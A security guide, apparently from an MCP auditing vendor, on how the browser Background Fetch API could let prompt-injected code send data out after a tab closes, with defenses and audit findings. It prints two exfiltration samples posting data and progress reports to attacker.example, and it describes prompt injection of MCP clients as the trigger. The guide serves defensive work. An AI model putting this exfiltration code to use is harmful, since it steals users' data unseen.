Security Guide
MCP server Background Fetch API security — large payload exfiltration survives tab close, progress event surveillance, prompt injection trigger vectors
The Background Fetch API registers HTTP transfers with the browser at the OS network layer, persisting them across page navigations, tab closes, and browser restarts. Unlike navigator.sendBeacon(), which is limited to small beacon payloads and completes synchronously at page unload, Background Fetch can transfer megabytes of data, report fine-grained progress via service worker events, and continue executing after the user has closed the MCP client. MCP prompt injection that can call registration.backgroundFetch.fetch() creates an exfiltration channel that outlives the session and is invisible in DevTools once the page is closed.
What the Background Fetch API does and where MCP servers encounter it
Background Fetch is designed for downloading large resources — offline content packs, podcast episodes, app assets — that may take minutes and should not be interrupted by tab navigation. The API registers the fetch with the browser's native download manager via the Service Worker API: registration.backgroundFetch.fetch(id, urls, options). The browser's network stack handles the transfer; the web page can close at any point without interrupting it.
Browser-based MCP clients that use service workers for offline capabilities or push notification support automatically have a service worker registration. If that registration is accessible to same-origin JavaScript, injected code can use it to register Background Fetch transfers. Unlike most dangerous APIs, Background Fetch requires a service worker registration — but does not require a fresh user gesture in browsers that have already established the registration.
Survives page close and browser restart. Once backgroundFetch.fetch() is registered, the browser's OS-level network manager handles the transfer. Closing the tab, navigating away, or even closing the browser entirely does not cancel the transfer. Exfiltration data continues to flow after the user has ended their MCP session.
Attack: Large-payload data exfiltration after tab close
Standard exfiltration channels — fetch(), XMLHttpRequest, sendBeacon() — all depend on the page being open. DevTools Network panel captures all traffic while the page is open. Background Fetch bypasses this: once registered, it runs as an OS-level network operation. DevTools does not show Background Fetch transfers initiated before the page was closed. The user closes their MCP client, confident that no network activity is occurring; the browser continues transferring exfiltrated data in the background.
// Injected via MCP prompt injection — exfiltrates large data payloads via Background Fetch
// Requires: access to a service worker registration (available if the MCP client uses a SW)
async function exfilViaBackgroundFetch(data) {
// Get the current service worker registration
const reg = await navigator.serviceWorker.ready;
// Serialize the data to exfiltrate into a Blob URL (avoids size limits on URL params)
const blob = new Blob([JSON.stringify(data)], { type: 'application/json' });
const blobUrl = URL.createObjectURL(blob);
// Register the background fetch — this call returns immediately
// The browser's network manager handles the actual transfer
// The transfer CONTINUES even after this tab is closed
const bgFetch = await reg.backgroundFetch.fetch(
'exfil-' + Date.now(), // unique ID for this transfer
[new Request('https://attacker.example/upload', {
method: 'POST',
body: blob,
headers: { 'Content-Type': 'application/json' }
})],
{
title: 'Syncing data...', // shown in browser download UI
downloadTotal: blob.size
}
);
// bgFetch is now registered — closing the tab does NOT cancel it
// The browser will complete the POST to attacker.example after the user navigates away
// Listen for completion (if the page is still open)
bgFetch.addEventListener('progress', () => {
if (bgFetch.result === 'success') {
// Exfiltration complete — can now clean up artifacts
URL.revokeObjectURL(blobUrl);
}
});
}
Progress event surveillance from service worker
Background Fetch delivers progress events to the service worker via the backgroundfetchprogress event. A compromised service worker — or a service worker that evaluates injected code passed via a message — can monitor the progress of any active Background Fetch registration, including those initiated by other same-origin tabs. This creates a cross-tab surveillance channel: one tab's Background Fetch transfer is visible to any same-origin service worker, and service worker code runs in a shared context across all tabs at the origin.
// In a compromised service worker — monitors all Background Fetch activity across all tabs
self.addEventListener('backgroundfetchprogress', (event) => {
const { id, downloaded, downloadTotal, uploaded, uploadTotal, result, failureReason } = event.registration;
// Report progress of any Background Fetch at this origin — including other tabs' transfers
// This can be used to confirm that an exfiltration transfer is completing successfully
console.log(`BG fetch ${id}: ${uploaded}/${uploadTotal} bytes uploaded`);
// Can notify the attacker's tab via postMessage or fetch
fetch('https://attacker.example/progress', {
method: 'POST',
body: JSON.stringify({ id, uploaded, uploadTotal, result })
});
});
The service worker context is shared across all same-origin tabs — unlike page-level JavaScript, service workers do not require the originating page to remain open. A compromised service worker installed by a prior attack persists across browser sessions and monitors all Background Fetch activity until explicitly unregistered.
Permissions-Policy and CSP defenses
Unlike many dangerous APIs, the Background Fetch API does have some policy-controlled protection. The Permissions-Policy: background-fetch=() header disables the API for the page and all its iframes. This is the primary preventive defense and should be set on all MCP client pages that do not use Background Fetch for legitimate purposes.
The connect-src CSP directive restricts which origins the page can make network requests to, including Background Fetch requests. A restrictive connect-src 'self' policy prevents Background Fetch from transferring data to attacker-controlled external endpoints. Note that CSP applies to the service worker's fetch requests as well if the service worker is served with the same CSP headers.
| Defense | What it prevents | Limitation |
|---|---|---|
Permissions-Policy: background-fetch=() |
Prevents backgroundFetch.fetch() from being called at all |
Must be set; default is allow |
connect-src 'self' CSP |
Prevents Background Fetch to external origins | Only if CSP is applied to the SW scope |
| Cross-origin iframe for tool output | Injected code runs on different origin; can't access parent's SW registration | SW must be on the tool-output origin (usually not installed) |
| DOMPurify + event handler stripping | Prevents script injection via tool output HTML | Does not protect against compromised CDN scripts or inline SW code |
SkillAudit findings for Background Fetch API misuse
navigator.serviceWorker.ready to any same-origin JavaScript. Injected code in tool output can register Background Fetch transfers using the application's SW registration. Grade impact: −20.
connect-src, the post-page-close transfer reaches its destination without appearing in any monitoring tool the user controls. Grade impact: −16.
postMessage and evaluates their content can be turned into a code-execution primitive by injected page scripts, giving attacker code persistent execution across all tabs and sessions. Grade impact: −18.
Audit your MCP server for Background Fetch API exposure
SkillAudit checks for Permissions-Policy headers, CSP coverage, service worker isolation, and tool output injection vectors — paste a GitHub URL and get a graded report in 60 seconds.
Run a free audit →